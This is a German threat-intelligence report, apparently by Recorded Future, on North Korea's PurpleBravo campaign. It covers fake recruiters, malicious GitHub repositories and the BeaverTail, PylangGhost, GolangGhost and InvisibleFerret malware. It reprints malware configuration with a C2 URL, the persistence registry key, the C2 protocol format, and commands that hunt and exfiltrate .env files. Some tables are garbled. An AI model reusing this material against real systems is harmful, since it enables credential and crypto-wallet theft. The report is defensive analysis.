PurpleBravos Fokus auf die IT-Software-Lieferkette
Executive Summary
PurpleBravo ist eine von Nordkorea staatlich geförderte Bedrohungsgruppe, die Überschneidungen mit der Kampagne „Contagious Interview“ aufweist, die erstmals im November 2023 dokumentiert wurde. Es zielt auf Softwareentwickler ab, insbesondere in den Bereichen Softwareentwicklung und Kryptowährung, und zwar durch gefälschte Kontaktaufnahme von Personalvermittlern, Programmieraufgaben in Vorstellungsgesprächen und ClickFix-Aufforderungen. Aktivitäten im Laufe des Jahres 2025 haben mehrere betrügerische LinkedIn-Profile mit PurpleBravo in Verbindung gebracht, und zwar über bösartige GitHub-Repositories und fiktive Lockmarken. Das Toolset der Gruppe umfasst BeaverTail (einen JavaScript-Infostealer und Loader) sowie plattformübergreifende Remote-Access-Trojaner (RATs), insbesondere PyLangGhost und GolangGhost, die für den Diebstahl von Browser- Anmeldedaten und Informationen aus Kryptowährungs-Wallets optimiert sind.
Basierend auf Recorded Future ® Network Intelligence identifizierte die Insikt Group 3.136 einzelne IP-Adressen, die sich auf Südasien und Nordamerika konzentrieren und mit wahrscheinlichen Zielen von PurpleBravo-Aktivitäten im Zeitraum von August 2024 bis September 2025 in Verbindung stehen. In Europa, Südasien, dem Nahen Osten und Mittelamerika wurden zwanzig potenzielle Opferorganisationen in den Bereichen AI, Kryptowährungen, Finanzdienstleistungen, IT-Dienstleistungen, Marketing und Softwareentwicklung identifiziert. In einigen Fällen ist es wahrscheinlich, dass Bewerber auf Stellenanzeigen bösartigen Code auf Firmengeräten ausgeführt haben, wodurch über das individuelle Ziel hinausgehende Schäden für das Unternehmen entstanden sind. Die Insikt Group beobachtete, wie PurpleBravo Command-and-Control-Server (C2) über Astrill VPN und von IP-Bereichen in China aus verwaltete, wobei die BeaverTail- und GolangGhost-C2-Server bei siebzehn verschiedenen Anbietern gehostet wurden.
Die Insikt Group unterscheidet PurpleBravo (Contagious Interview) von PurpleDelta (nordkoreanische IT-Arbeiter), hat aber aussagekräftige Überschneidungen dokumentiert. Dies umfasst einen wahrscheinlichen PurpleBravo-Betreiber, dessen Aktivitäten mit dem Verhalten nordkoreanischer IT-Mitarbeiter übereinstimmen, IP-Adressen in Russland, die mit nordkoreanischen IT-Mitarbeitern in Verbindung stehen, die mit PurpleBravo C2-Servern kommunizieren, sowie Verwaltungsdatenverkehr von derselben Astrill VPN-IP-Adresse, die mit PurpleDelta-Aktivitäten in Verbindung steht.
PurpleBravo stellt eine unterschätzte Bedrohung für die Lieferkette von IT-Software dar. Da viele der Zielunternehmen in der IT-Dienstleistungs- und Personalvermittlungsbranche mit großen öffentlichen Kundenstämmen angesiedelt sind, kann sich der Kompromiss bis zu deren Kunden ausbreiten. Diese Kampagne stellt ein akutes Risiko für die Software-Lieferkette von Organisationen dar, die die Entwicklung auslagern, insbesondere in Regionen, in denen PurpleBravo seine fiktiven Rekrutierungsbemühungen konzentriert.
Wichtige Erkenntnisse
- PurpleBravo nutzt eine Kombination aus fiktiven Identitäten, Organisationen und Websites, um Malware an ahnungslose Jobsuchende in der Softwareentwicklungsbranche zu verbreiten. Kandidaten nutzen manchmal ihre Firmengeräte und gefährden dadurch die Sicherheit ihrer Arbeitgeber.
- PurpleBravo verwendet in seinen Operationen eine Vielzahl von selbst entwickelten und Open-Source-Malware und -Tools, darunter BeaverTail, InvisibleFerret, GolangGhost und PylangGhost.
- Mithilfe von Recorded Future Network Intelligence identifizierte Insikt Group 3.136 einzelne IP-Adressen, die mit wahrscheinlichen Zielen der PurpleBravo-Aktivitäten in Verbindung stehen, sowie zwanzig potenzielle Opferorganisationen in den Bereichen AI, Kryptowährung, Finanzdienstleistungen, IT-Dienstleistungen, Marketing und Softwareentwicklung.
- Die Insikt Group hat mehrere Überschneidungen zwischen PurpleBravo und PurpleDelta, der Bezeichnung von Recorded Future für nordkoreanische IT-Mitarbeiter, festgestellt, was darauf hindeutet, dass einige Personen in beiden Operationen aktiv sein könnten.
- PurpleBravos starke Fokussierung auf die IT- und Softwareentwicklungsbranche in Südasien stellt ein übersehenes und akutes Lieferkettenrisiko für Organisationen dar, die ihre IT-Dienstleistungen in Auftrag geben oder auslagern.
Bedrohungsanalyse
Die Kampagne „Contagious Interview“, eine vom nordkoreanischen Staat geförderte Operation, wurde erstmals im November 2023 dokumentiert und zielte vor allem auf Softwareentwickler in der Kryptowährungsbranche ab. Insikt Group verfolgt PurpleBravo als eine Gruppe von Aktivitäten, die sich mit der Kampagne überschneiden (weitere Namen für die Gruppe sind CL-STA-0240, Famous Chollima und Tenacious Pungsan). Während einige Organisationen den Cluster „Contagious Interview“ und nordkoreanische IT-Fachkräfte als ein und dieselbe Aktivität erfassen, verfolgt die Insikt Group nordkoreanische IT-Fachkräfte separat unter dem Namen PurpleDelta. Die Insikt Group hat Schnittpunkte zwischen den beiden Gruppen festgestellt und untersucht das genaue Ausmaß der Überschneidung.
Betrügerische Identitäten
Im März 2025 identifizierte die Insikt Group vier Personas (Abbildung 1), die mit hoher Wahrscheinlichkeit mit der Bedrohungsaktivität von PurpleBravo in Verbindung stehen. Diese Einschätzung mit hoher Zuverlässigkeit erfolgte nach einer Untersuchung bösartiger GitHub-Repositories, Berichten über Kryptowährungsbetrug in sozialen Medien und Recorded Future Network Intelligence über die bekannte PurpleBravo-Infrastruktur. Diese Personas und die damit verbundenen Verhaltensweisen stimmen mit früheren Berichterstattungen Insikt Group und Open-Quellen-Berichterstattungen (1, 2, 3) zur Contagious Interview Kampagne überein.
Die Profile geben sich als Entwickler und Personalvermittler aus, die unter anderem Kryptowährungsunternehmen vertreten. Diese Organisationen tauchen in den PurpleBravo-Köder-Angriffen und den unten aufgeführten bösartigen GitHub-Repositories auf. Sie alle geben vor, aus Odessa in der Ukraine zu stammen und zielen auf potenzielle Opfer in Südasien ab. Zum Zeitpunkt der Veröffentlichung dieses Artikels konnte die Insikt Group die Motivation hinter der Verwendung ukrainischer Identitäten durch PurpleBravo in ihren Operationen nicht ermitteln.
Abbildung 1: LinkedIn-Profile, die mit hoher Wahrscheinlichkeit mit der Bedrohungsaktivität von PurpleBravo in Verbindung stehen (Quelle: LinkedIn)
Infrastruktur
Bösartige GitHub-Repositories
Die Insikt Group identifizierte mehrere bösartige GitHub-Repositories, die mit Aktivitäten von PurpleBravo in Verbindung stehen, anhand öffentlich verfügbarer Informationen über potenzielle Opferserver, die in den Network Intelligence-Daten von Recorded Future aufgeführt sind.
Betrug in der Lebensmittelindustrie
Die Insikt Group hat ein GitHub- Repository identifiziert, das mit dem Web3-Sicherheitsforscher Luthiano Trarbach in Verbindung steht. Dieser berichtete über einen nicht identifizierten Betrug, bei dem sich jemand als Lebensmittelhersteller ausgab, um Kryptowährungen zu stehlen. Die Insikt Group hat eine Website identifiziert, die für ein Token wirbt, das das Repository wahrscheinlich imitiert. Aufgrund einer Auswertung der Aktivitäten der Betreiber und Nutzer in sozialen Medien und auf Messaging-Plattformen wird mit geringer Sicherheit davon ausgegangen, dass es sich bei dem Token wahrscheinlich um Betrug handelt. Zum Zeitpunkt der Abfassung dieses Berichts konnte weder die Legitimität des Projekts festgestellt noch eine Verbindung zwischen dem Token und der Lebensmittelmarke identifiziert werden. Die mit dem Projekt verbundene „offizielle“ Telegram-Gruppe ist voller Betrüger, Bots, schädlicher Links und wahrscheinlich schädlicher Downloads, die als Stellenangebote, Kryptowährungs-Airdrops und andere Köder getarnt sind, die im Allgemeinen auf dieses Verhalten hindeuten.
Das Repository enthält eine JavaScript-Datei mit dem Namen index[.]js. Diese Datei ist in Base64 mit einer XOR-Verschlüsselung kodiert, die nach der Entschlüsselung bösartige Funktionen offenbart, die darauf abzielen, sensible Schlüsselbund- und Anmeldeinformationen von Windows- und macOS-Geräten zu exfiltrieren. Diese Daten werden in einer ZIP-Datei verpackt und mit einer kodierten HTTP-POST-Anfrage an einen fest codierten Command-and-Control-Server (C2) gesendet (Abbildung 2). Wenn die Zeichenkette MTQ3LjEyNCaHR0cDovLw4yMTQuMTI5OjEyNDQ aus Base64 dekodiert wird, ergibt sich die zuvor identifizierte BeaverTail C2 IP-Adresse 147[.]124[.]214[.]129.
Indisches Softwareentwicklungsunternehmen
Der ESET-Bericht vom Februar 2025 über Bedrohungsaktivitäten im Zusammenhang mit PurpleBravo (das ESET als DeceptiveDevelopment verfolgt) beschrieb, dass PurpleBravo Bedrohungsakteur sich als Recruiter ausgaben und einen Lumanagi-Lockmittel in gefälschten Vorstellungsgesprächen für eine dezentrale Börse (DEX) nutzten, um BeaverTail über bösartige GitHub-Repositorien zu liefern. Die Insikt Group suchte nach weiteren GitHub-Repositories, die dieselben bösartigen JavaScript-Strings wie im ESET-Bericht identifiziert und ein Repository aufdeckten , das ein indisches Softwareentwicklungsunternehmen betrifft. Dieses Repository enthält eine bösartige JavaScript-Datei mit dem Titel routes.js, , die stark verschleiert ist und sich von der Instanz des Lebensmittelherstellungs-Tokens unterscheidet. Das JavaScript im Repository des Softwareentwicklungsunternehmens enthielt zwei weitere BeaverTail C2-Server mit fest kodierten IP-Adressen, 216[.]173[.]115[.]200 und 95[.]179[.]135[.]133.
Lumanagi
Bei der Untersuchung des Repositorys des indischen Softwareentwicklungsunternehmens und des zuvor im ESET-Bericht erwähnten „Lumanagi“-Köders entdeckte die Insikt Group am oder um den 28. März 2025 einen Betrugsbericht in den sozialen Medien. In diesem Betrugsbericht wurde behauptet, dass eine Personalvermittlerin („Karyna Isakova“; Abbildung 1), die Lumanagi vertrat, einen südasiatischen Entwickler wegen einer Arbeitsmöglichkeit kontaktierte. Der PurpleBravo-Mitarbeiter, der sich als Personalvermittler ausgab, verschickte ein Dokument über Google Docs, angeblich von lumanagi[.]online. Das Schreiben enthielt Informationen über das Projekt, die offene Stelle und die nächsten Schritte für ein praktisches Vorstellungsgespräch. Dieses Dokument enthielt ein Figma-Design für eine ungarischsprachige DEX namens Lumanagi. Dieses Verhalten deckt sich mit früheren Berichten über die Interview-Köder von PurpleBravo, bei denen Google Docs und Figma in die Aktivitäten einbezogen werden.
Blockchain-Entwicklungsunternehmen
Die Insikt Group hat ein drittes bösartiges GitHub-Repository identifiziert, das mit einer der oben genannten Personen in Verbindung steht. Dieses Repository enthielt eine ähnliche schädliche Datei wie routes[.]js, die im Repository des indischen Softwareentwicklungsunternehmens entdeckt wurde. Wenn der JavaScript-Code in dieser Datei deobfuskiert wird, werden die IP-Adressen des BeaverTail C2-Servers sichtbar: 216[.]173[.]115[.]200 und 95[.]179[.]135[.]133. Bei einem erneuten Blick auf das LinkedIn-Profil stellte sich heraus, dass die Person zuvor behauptet hatte, für Lumanagi zu arbeiten, wodurch eine Verbindung zum PurpleBravo-Netzwerk hergestellt werden konnte.
Kommando- und Kontrollserver
Recorded Future zeichnet zwei verschiedene Gruppen von PurpleBravo C2-Servern auf: BeaverTail und GolangGhost. BeaverTail ist ein JavaScript-Infostealer und Loader, der sensible Informationen von Opfersystemen sammelt, und GolangGhost ist eine interpretierte Go-Backdoor, die auf dem Open-Source-Tool HackBrowserData basiert. Recorded Future identifizierte zwischen August 2024 und September 2025 62 BeaverTail C2-Server und vierzehn GolangGhost C2-Server. Die in Abbildung 3 aufgeführten Hosting-Anbieter wurden von PurpleBravo für das Hosting der C2-Infrastruktur genutzt.
Malware Intelligence
PylangGhost und GolangGhost
PylangGhost (Python) und GolangGhost (Go) sind verwandte, plattformübergreifende Remote-Access-Trojaner (RATs), die eine identische Befehlsstruktur aufweisen und den Diebstahl von Chrome-Zugangsdaten und Cookies automatisieren. Der einzige funktionale Unterschied zwischen den beiden Varianten betrifft die Implementierung des Chrome-Passwortdiebs. GolangGhost legt Wert auf eine breite Betriebssystemabdeckung, während PylangGhost auf Windows fokussiert ist und den in Chrome 127 und höher eingeführten, anwendungsgebundenen Zugangsdatenschutz von Chrome adressieren kann. Zu den primären Fähigkeiten der RATs gehören die Host-Erkundung, das Hoch- und Herunterladen von Dateien, die Ausführung beliebiger Befehle, Sleep/Jitter und der automatisierte Diebstahl von Chromium-basierten Browsergeheimnissen (Windows/macOS/Linux), mit spezifischer Behandlung für die Chrome v10 (data Schutz API [DPAPI]) und v20 (app-bound) Zugangsdatenformate unter Windows.
Beide Familien sind in parallele Komponenten gegliedert:
- Kern-/Kontrollschleife: Implementiert den persistenten Anfrage-Antwort-Zyklus, serialisiert Nachrichten für C2 und sendet empfangene Befehle.
- Befehlsschicht: Kodiert/dekodiert das zeilenbasierte Base64-Nachrichtenformat und enthält den Code zur Ausführung der Befehle.
- Transport/Protokoll: Führt eine RC4-Verschlüsselung mit einem paketbezogenen Zufallsschlüssel durch, gefolgt von einer MD5-Prüfsumme; der HTTP-POST-Body verwendet den MIME-Typ
application/octet-stream; und die beobachteten User-Agent-Strings enthaltenpython-requestsundGo-http-client - Passwortdiebstahl-Module („Auto“): Sammlung von Chrome-Artefakten und Entschlüsselung von Zugangsdaten/Cookies über verschiedene Betriebssysteme hinweg
- Hilfsprogramme: TAR/GZIP-Packen/Entpacken für die schrittweise Datenexfiltration
- Konfiguration: Feste Nachrichten-/Befehlskennungen und AUTO-Modus-Tokens; Jitter- und PID-/Maschinen-ID-Dateinamen; Windows-Persistenzschlüssel und Parametrisierung
Tabelle 1 listet die Befehle auf, die PylangGhost und GolangGhost unterstützen.
Tabelle 1: PylangGhost- und GolangGhost-Befehle und Beschreibungen (Quelle: Recorded Future)
Chrombasiertes Diebstahlmodul
Sowohl GolangGhost als auch PylangGhost verfügen über ein Chromium Stealer-Modul, das mit dem Befehl „AUTO“ aufgerufen wird; die Implementierung unterscheidet sich jedoch zwischen den Versionen. PylangGhost konzentriert sich ausschließlich auf Windows Chromium, implementiert aber einen weitaus ausgefeilteren Zugangsdatendiebstahl und unterstützt sowohl v10- als auch v20-App-gebundene Verschlüsselung. Letzteres erfordert LSASS-Identitätswechsel, um SYSTEM-Berechtigungen zu erlangen, Dual-Layer-DPAPI-Entpackung und benutzerdefinierte Schlüsselableitung über Windows CNG APIs, um die in Version 127 und späteren Versionen eingeführte gehärtete Verschlüsselung von Chrome zu umgehen.
GolangGhost hingegen implementiert die Chrome v10-Entschlüsselung nur mit dem Standard-AES-GCM, nachdem es Master-Schlüssel aus nativen Zugangsdatenspeichern erhalten hat. Dies wird durch die Automatisierung der Aufzählung von Erweiterungen zur Katalogisierung von Kryptowährungs-Wallets in großem Umfang kompensiert. GolangGhost ist so konzipiert, dass es eine breitere Opferabdeckung auf verschiedenen Plattformen wie macOS und Linux ermöglicht, während PylangGhost eine spezialisierte, auf Windows ausgerichtete Variante darstellt, die speziell entwickelt wurde, um Googles neueste Zugangsdatenschutzmechanismen zu umgehen. Dadurch ist es zwar effektiver gegen gehärtete Chrome-Installationen, aber auf ein einziges Betriebssystem beschränkt.
gather.tar.gzkomprimiert und für die Exfiltration auf einen C2-Server vorbereitet. Es zielt auf den Speicher von Erweiterungen ab, der Kryptowährungs-Wallets, Passwort-Manager-Daten, Sitzungstoken und API-Schlüssel enthalten kann. Secure Preferences -Dateien von Chrome, beendet alle Chrome-Prozesse und überschreibt dann die Erweiterungseinstellungen mit einer gefälschten MetaMask-Konfiguration (die auf *.eth, *.infura.io und Trezor-Hardware-Wallets abzielt), die von C:\ProgramData\11.16.0_0 anstatt aus dem legitimen Chrome Web Store installiert wurde. Dadurch können die Angreifer Kryptowährungstransaktionen und private Schlüssel stehlen. Tabelle 2: PylangGhost- und GolangGhost-Chrome-Stealer-Befehle (Quelle: Recorded Future)
Konfiguration
Die Konfiguration für PylangGhost (config.py) und GolangGhost (constans.go) dient als zentrale Konfigurations- und Befehlsvokabulardatei für den C2. Es enthält Tokens, die verschleierte Befehlskennungen sind und dazu dienen, das Kommunikationsprotokoll zwischen dem infizierten Client und dem Command-and-Control-Server zu verschleiern. Anstatt lesbare Befehle wie "download" oder "execute" zu senden, verwendet es zufällig aussehende Zeichenketten, wie zum Beispiel "qwer" oder "asdf".
PID0623NAME = ".store"
MACHINEID0623HOSTFILE = ".host"
DURATION0623ERRORWAIT = 5
DAEMON0623VERSION = "1.0.0"
MSG0623INFO = "fwe9"
MSG0623LOG = "1q2w"
LOG0623SUCCESS = "true"
LOG0623FAIL = "false"
MSG0623PING = "poiu"
MSG0623FILE = "qpwoe"
COMMAND0623INFORMATION = "qwer"
COMMAND0623FILEUPLOAD = "asdf"
COMMAND0623FILEDOWNLOAD = "zxcv"
COMMAND0623TERMINAL = "vbcx"
SHELLMODE0623WAITGETOUT = "qmwn"
SHELLMODE0623DETACH = "qalp"
COMMAND0623WAIT = "ghdj"
COMMAND0623AUTO = "r4ys"
AUTO0623CHROMEGATHER = "89io"
AUTO0623CHROMEPREFRST = "7ujm"
AUTO0623CHROMECOOKIE = "gi%#"
AUTO0623CHROMEKEYCHAIN = "kyci"
COMMAND0623EXIT = "dghh"
Abbildung 4: PylangGhost-Konfigurationsausschnitt (Quelle: Recorded Future)
The malware manages its runtime state and host identity using two files defined in the configuration module, PID0187NAME and MACHINEID0187HOSTFILE, as shown in Figure 4. These files are created in the system’s temporary directory (for example, %TEMP% on Windows). The .store (PID0187NAME) file records the process identifier (PID) of the active instance and is checked during startup to prevent multiple concurrent executions. The file .host (MACHINEID0187HOSTFILE) contains a randomly generated, persistent client identifier.
Die Konfiguration umfasst außerdem C2-Endpunkte, Persistenzregistrierungsschlüssel, den Sammlungsbereich und die Instanzsteuerung für beide Varianten. Es liefert die C2-URL und eine Liste der Chromium-Wallet-Erweiterungs-IDs, die von den Chrome-„Auto“-Modi angesprochen werden.
UPLOAD0623URL = "hxxp://154[.]58[.]204[.]15:8080" # Change to your server
MAX0623SLEEP = 40
MIN0623SLEEP = 20
EXTENSION0623NAMES = [
"nkbihfbeogaeaoehlefnkodbefgpgknn",
"bfnaelmomeimhlpmgjnjophhpkkoljpa",
"ibnejdfjmmkpcnlpebklmnkoeoihofec",
"egjidjbpglichdcondbcbdnbeeppgdph",
"acmacodkjbdgmoleebolmdjonilkdbch",
"aholpfdialjgjfhomihkjbmgjidlcdno",
"bhhhlbepdkbapadjdnnojkbgioiodbic",
"dlcobpjiigpikoobohmabehhmhfoodbb",
"dmkamcknogkgcdfhhbddcghachkejeap",
"fnjhmkhhmkbjkkabndcnnogagogbneec",
"hcjhpkgbmechpabifbggldplacolbkoh",
"hmeobnfnfcmdkdcmlblgagmfpfboieaf",
"hnfanknocfeofbddgcijnmhnfnkdnaad",
"idnnbdplmphpflfnlkomgpfbpcgelopg",
"ldinpeekobnhjjdofggfgjlcehhmanlj",
"mcohilncbfahbmgdjkbpemcciiolgcge",
"mkpegjkblkkefacfnmkajcjmabijhclg",
"mopnmbcafieddcagagdcbnhejhlodfdd",
"nhnkbkgjikgcigadomkphalanndcapjk",
"ojggmchlghnjlapmfbnjholfjkiidbch",
"onhogfjeacnfoofkfgppdlbmlmnplgbn",
"pdliaogehgdbhbnmkklieghmmjkpigpa",
"phkbamefinggmakgklpkljjmgibohnba",
"ppbibelpcjmhbdihakflkdcoccbgbkpo"
]
REG0623PATH = r"Software\Microsoft\Windows\CurrentVersion\Run"
REG0623KEY = "csshost"
PARAM0623 = "lOKJS0103JEBV53NkuanloiHB872Nhe12m8vd2FpdC5qcGc="
Abbildung 5: PylangGhost-Konfigurationsausschnitt (Quelle: Recorded Future)
Auf Windows-Systemen erreicht die Schadsoftware die Persistenz, indem sie einen Registry-Run-Schlüssel erstellt, der über wscript.exeeinen Visual Basic Script (VBS)-Loader startet. Sowohl der Registrierungspfad als auch der Schlüsselname sind im Konfigurationsmodul der Malware fest programmiert. Zum Beispiel wäre der Persistenzschlüssel mit der Konfiguration in Abbildung 5HKCU\Software\Microsoft\Windows\CurrentVersion\Run\csshost = "wscript.exe" "<VBS file path>".
Die Namen der Schlüssel können sich von Konfiguration zu Konfiguration ändern, und einige Konstanten tragen variantenspezifische Suffixe (z. B. _0187, _0501); ihre Semantik und Verwendung bei Persistenz, Sammlung und Protokollverarbeitung bleiben jedoch gleich.
C2-Protokoll und Netzwerkverkehr
Sowohl PylangGhost als auch GolangGhost senden eine RC4-verschlüsselte Nutzlast über eine HTTP-POST-Anfrage mit Headern wie application/octet-stream und typischen User-Agents von python-requests (Py) und Go-http-client (Go).
POST / HTTP/1.1
Host: 212[.]81[.]47[.]217:8080
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/octet-stream
Content-Length: 252
......W.G.`.].....f._9..S.{..r.4.....m.c.../.0+...L.ha.P._...f.[z.....>.wZ........4.R.N.K)F.'d..pw.s..c....~.q)P...'... .Q...p.
.l.|tvr.........=NW.P.D..%N0.`.:....H.h.*O....i.u...f.M}Re.............`..C.a.^h..m..p..8...W...U..J..w..{...=YRH.e.u{=._4.9
Abbildung 6: PylangGhost und GolangGhost HTTP POST-Anfrage (Quelle: Recorded Future)
Die HTTP-Nutzdaten sind RC4-verschlüsselt. Der Anfang der Nutzdaten besteht aus einem 16 Byte langen MD5-Wert, der über alles Folgende berechnet wird: zuerst ein zufällig generierter RC4-Schlüssel (der unverschlüsselt gesendet wird) und dann der RC4-verschlüsselte Nachrichtentext. Da der Schlüssel von vornherein enthalten ist, kann jeder, der über die Paketaufzeichnung verfügt, den Inhalt entschlüsseln; der MD5-Hash kann verwendet werden, um zu bestätigen, dass das Paket korrekt aufgeteilt wurde und dass der Inhalt nicht beschädigt wurde. Die Länge des RC4-Schlüssels wird zur Kompilierzeit festgelegt und nicht im Paket selbst gespeichert. Die Insikt Group hat festgestellt, dass dies konstant 128 Bytes sind.
Nach der RC4-Entschlüsselung besteht die Nutzlast lediglich aus einer einzigen Textzeile, die aus durch Leerzeichen getrennten „Tokens“ besteht. Jedes Token ist Base64-kodiert. Bei Nachrichten, die vom Opfer an den Command-and-Control-Server gesendet werden, ist das erste Token eine einfache Maschinen-ID (nicht Base64-kodiert), gefolgt von einem Base64-kodierten Nachrichtentyp (zum Beispiel der vierstellige Code fwe9 für „Systeminfo“) und mehreren Base64-kodierten Feldern wie Benutzername, Computername, Betriebssystem, Architektur und einer internen Versionszeichenfolge.
Beispiel für Request Base64-codierte Werte
2b5e4367 ZndlOQ== QWRtaW4= RG93d2Z4aWI= V2luZG93cw== QU1ENjQ= MS4wLjA=
Dekodierte Werte
ID|Username|ComputerName|Operating System|Architecture|Version
2b5e4367 fwe9 Admin Dowwfxib Windows AMD64 1.0.0
Abbildung 8: PylangGhost und GolangGhost fordern Base64-Kodierung und -Dekodierung an (Quelle: Recorded Future)
Für Nachrichten, die vom Server an das Opfer gesendet werden, ist jeder Token Base64-codiert; das erste dekodiert in einen vierstelligen Befehl (zum Beispiel r4ys für die "Auto"-Aufgabe), und die übrigen Token liefern die Argumente dieses Befehls.
Beispiel für codierte Werte von Antwort Base64
cjR5cw== a3ljaQ==
Dekodierte Werte
r4ys kyci
Befehlszuordnungen
r4ys == COMMAND_AUTO
kyci == AUTO_CHROME_KEYCHAIN
Abbildung 9: PylangGhost und GolangGhost Antwort Base64 kodieren und dekodieren (Quellen: Recorded Future)
InvisibleFerret
InvisibleFerret ist ein auf Python basierendes, plattformübergreifendes RAT mit modularer Funktionalität zur Systemkontrolle, zum Diebstahl von Zugangsdaten und zur Datenexfiltration. Die Malware operiert über zwei C2-Kanäle: einen permanenten, benutzerdefinierten TCP-Befehlskanal und einen HTTP-Dienst, der für das anfängliche Host-Fingerprinting, das Payload-Staging und die Dateiexfiltration genutzt wird. Neuere Builds scheinen durch die Verwendung von PyObfuscate- oder OSRipper- Tools geschützt zu sein.
InvisibleFerret besteht aus drei Hauptkomponenten:
- Der Kern des RAT, der für den plattformübergreifenden Betrieb entwickelt wurde, führt Systemaufklärung durch und pflegt eine persistente C2-Sitzung mithilfe von längenpräfixierten JSON-Nachrichten. Es unterstützt Funktionen wie die Ausführung von Remote-Shells, die Dateisuche und das Herunterladen von Dateien, das Sammeln von Umgebungskonfigurationsdateien, die Beendigung von Browserprozessen und das bedarfsgesteuerte Bereitstellen zusätzlicher Nutzdaten.
- Der Windows-Keylogger verwendet Python-Bibliotheken, darunter pyWinhook, pyperclip, psutil und pywin32, um Tastatureingaben, Mausaktivitäten, Informationen über das aktive Fenster und den Inhalt der Zwischenablage zu erfassen. Diese Informationen werden in einem globalen Puffer für die Exfiltration an den C2-Server aggregiert. Die gesammelten Daten werden nicht auf der Festplatte gespeichert.
- Der Browser-Zugangsdaten-Stealer funktioniert als eigenständiges Python-Programm, das in der Lage ist, bis zu 120 Profile in Browsern der Chromium-Familie aufzulisten. Es ruft lokale Entschlüsselungsschlüssel mithilfe von Windows DPAPI, Linux Secret Storage oder macOS Keychain/PBKDF2 ab und leitet diese ab, um gespeicherte Anmeldedaten und Zahlungsdaten zu entschlüsseln. Die entschlüsselten Informationen werden im Klartext über HTTP-POST-Anfragen an den
/keysEndpunkt des C2-Servers übertragen. Dieser Diebstahl funktioniert nicht gegen die app-gebundene Verschlüsselung von Chrome und extrahiert daher keine Passwörter für Chrome-Versionen mit höheren Versionen als 127.
Fähigkeiten und Befehle
InvisibleFerret führt unmittelbar nach der Ausführung ein System-Fingerprinting durch und sammelt dabei Betriebssystemdetails, Hostnamen, Benutzernamen und eine eindeutige Host-Kennung, die aus dem SHA-256-Hash der MAC-Adresse und des Benutzernamens des Systems abgeleitet wird. Außerdem werden interne und externe IP-Adressen, ISP-Informationen, Geo-Koordinaten, Region und Zeitzone mithilfe externer Abfragen an ip-api[.]com erfasst. Diese Daten werden umgehend über den /keys -Endpunkt an die C2-Infrastruktur übermittelt, sodass die Betreiber infizierte Hosts für die nachfolgende Aufgabenbearbeitung profilieren können.
{
"sys_info": {
"uuid": "1ddb90ee672c86e09168792871f6d6d00919b57d24da98d91764e292e765cd29",
"system": "Windows",
"release": "10",
"version": "10.0.19041",
"hostname": "xxxxx",
"username": "xxxxx"
},
"net_info": {
"lat": 36.1539,
"lon": -95.9927,
"zip": "",
"isp": "Google LLC",
"city": "Tulsa",
"query": "107.167.165.11",
"country": "United States",
"timezone": "America Chicago",
"regionName": "Oklahoma",
"internalIp": ""
}
}
Abbildung 10: Informationsdaten des InvisibleFerret-Systems, die an C2 gesendet wurden (Quelle: Recorded Future)
Beim Durchqueren des Verzeichnisses des infizierten Rechners verwendet InvisibleFerret Ausschlusslisten, um Dateien aufzuzählen, die für Datenexfiltration geeignet sind, während der Bandbreitenverbrauch minimiert wird. Der Aufzählungsprozess wendet zwei Hauptfilterkriterien an: Dateierweiterungen dürfen in der ex_files Ausschlussliste nicht vorhanden sein, und Dateigrößen dürfen 104.857.600 Bytes (100 MB) nicht überschreiten. Das Durchqueren von Verzeichnissen wird ähnlich gegen die ex_dirs Liste gefiltert. InvisibleFerret priorisiert Dokumentendateien, Konfigurationsdateien und Quellen-Code, während es systematisch niedrigwertige Artefakte ausschließt, die unnötig Netzwerkbandbreite und C2-Speicherressourcen benötigen würden.
Auf Windows-Systemen setzt InvisibleFerret eine zusätzliche Keylogging-Komponente ein, die Tastatur- und Mauseingaben abfängt, den aktiven Prozess und den Fenstertitel aufzeichnet und während Kopier- oder Einfügevorgängen den Inhalt der Zwischenablage erfasst. Diese Protokolle werden in einem globalen Puffer (e_buf) gespeichert, um sie bei Bedarf über einen festgelegten C2-Befehl abzurufen.
Die InvisibleFerret-Befehle sind in Tabelle 3 detailliert aufgeführt.
ssh_objssh_cmdtaskkill /IM /F python.exe unter Windows; killall python unter Unix) ssh_clipe_buf (Tastatureingaben, Mausklicks, Zwischenablage, Fensterkontext) nach C2 und leere anschließend den Puffer. ssh_runssh_upload/uploadsexfiltrieren ; Es gibt drei Upload-Modi: Verzeichnis (sdir), Einzeldatei (sfile) oder Mustererkennung (sfind) ssh_killSchließen Sie die Browser (Chrome/Brave), um die Sperren vor dem Diebstahl aufzuheben.
- Windows
- '
taskkill /IM chrome.exe /F' - '
taskkill /IM brave.exe /F'
- '
- Linux
- ‘
killall Google\ Chrome' - '
killall Brave\ Browser'
- ‘
ssh_anyssh_envListen und exfiltrieren Sie .env Dateien über Laufwerke hinweg
- Windows
- '
dir /b /s ' + key + ':\*.env | findstr /v /i "node_modules .css .svg readme license robots vendor Pods .git .github .node-gyp .nvm debug .local .cache .pyp .pyenv next.config .qt .dex __pycache__ tsconfig.json tailwind.config svelte.config vite.config webpack.config postcss.config prettier.config angular-config.json yarn .gradle .idea .htm .html .cpp .h .xml .java .lock .bin .dll .pyi"’
- '
- Linux
- '
find ~/ -type d -name "node_modules .css .svg readme license robots vendor Pods .git .github .node-gyp .nvm debug .local .cache .pyp .pyenv next.config .qt .dex __pycache__ tsconfig.json tailwind.config svelte.config vite.config webpack.config postcss.config prettier.config angular-config.json yarn .gradle .idea .htm .html .cpp .h .xml .java .lock .bin .dll .pyi" -prune -o -name *.env -print'
- '
Tabelle 3: InvisibleFerret RAT-Befehle und Beschreibungen (Quelle: Recorded Future)
Chrombasiertes Diebstahlmodul
Eines der Module, die InvisibleFerret herunterlädt, ist ein Browser-Diebstahl, der auf Chromium-basierte Browser abzielt, darunter Chrome, Brave, Opera, Yandex und Edge auf Windows-, Linux- und macOS-Systemen. Die Schadsoftware konzentriert sich darauf, im Browser gespeicherte Anmeldedaten - und Zahlungskarteninformationen zu sammeln, die sie im Klartext über HTTP-POST-Anfragen auf den /keys Pfad des C2-Servers ausschleust. Der Dieb führt eine Aufzählung von bis zu 120 Browserprofilen pro Browser durch, um eine maximale Abdeckung der gespeicherten Anmeldedaten über mehrere Profilkonfigurationen hinweg sicherzustellen.
Das Modul spiegelt gängige Open-Quellen-Chromium-Zugangsdatendiebstahler wider.
- Unter Windows liest es die
